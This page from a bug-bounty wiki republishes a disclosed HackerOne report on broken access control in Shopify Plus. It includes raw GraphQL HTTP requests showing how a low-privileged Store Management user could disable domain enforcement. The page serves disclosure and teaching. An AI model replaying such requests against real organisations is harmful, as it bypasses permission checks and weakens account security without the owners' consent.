Skip to content
Access control Disclosed report Intermediate

[h1-2102] [Plus] User with Store Management Permission can Make changeDomainEnforcementState - that should be limited to User Management Only

A user holding only the Store Management permission could call a GraphQL mutation that changes the organisation's domain enforcement state, an action intended for user-management roles only. This let a low-privileged user enforce or unenforce domain enforcement on the organisation's domains.

ngalog Follow

Originally disclosed on HackerOne

Medium 4.3 View original
  • Triaged in 6 days
  • Fixed in 45 days
  • Paid in 8 days
  • Disclosed after 15 months

Summary:

User with Store Management Permission can Make changeDomainEnforcementState - that should be limited to User Management Only

Description:

User with Store management permission -

Screen_Shot_2021-01-22_at_11.15.03_PM.png
Screen_Shot_2021-01-22_at_11.15.03_PM.png From the original on HackerOne

only, is able to change user management settings using the graphql

Steps To Reproduce:

  • As an org plus admin, visit https://shopify.plus/:org_plus_id/users/invite and invite an user to have store management permission - (The purpose is to enable the low-privileged user to have access to https://shopify.plus/:plus_org_id/stores/api

  • As an org plus admin, create a Org domain, by visiting https://shopify.plus/:id/users/security and Add Domain

  • Login as the low-priviledged user, and visit shopify.plus and click around until you made a valid graphql call to shopify.plus, it looks something like this POST /34946971/stores/api HTTP/1.1

  • Make this call to figure out the domain id of your organization as a low privileged user

POST /34946971/stores/api HTTP/1.1
Host: shopify.plus
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
...

{"query":"query{organization{domains{id}}}"}
  • Grab the id and replace the REPLACE_ME in the below GraphQL call
POST /34946971/stores/api HTTP/1.1
Host: shopify.plus
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
...

{"query":"mutation  {\n  changeDomainEnforcementState(domainIds: [\"REPLACE_ME\"],enforcementState:NOT_ENFORCED) {\n    organization {\n      id\n      domains {\n        id\n        domainName\n        status\n        verified\n        __typename\n      }\n      __typename\n    }\n    userErrors {\n      field\n      message\n      __typename\n    }\n    __typename\n  }\n}\n"}
  • Then it shows you are able to changeDomainEnforcementState by just having Store Management permission

Supporting Material/References:

Impact

User with Store Management permission can enforce/unenforce domain state

The original report as published on HackerOne, by ngalog. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the GraphQL mutation changeDomainEnforcementState only checked that the caller was authenticated and had some organisation access, rather than requiring the user-management permission.

What the attacker needed

A Shopify Plus organisation; an account with only Store Management permission; an organisation domain already added

How it was found

  1. As an org plus admin, invite a user with only the store management permission.
  2. As an org plus admin, add an organisation domain under the security settings.
  3. Log in as the low-privileged user and make a valid GraphQL call to the stores API endpoint.
  4. Query the organisation's domains to obtain a domain id.
  5. Send the changeDomainEnforcementState mutation with that domain id and the NOT_ENFORCED state.
  6. Observe that the mutation succeeds despite the limited permission.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Shopify Plus organisations have staff accounts with different permissions. One permission, Store Management, is meant to let someone manage stores, not security settings. The report shows that such a user could still send a request that switched a security setting called domain enforcement on or off, which should have been reserved for people who manage users.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by ngalog

View all

21 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.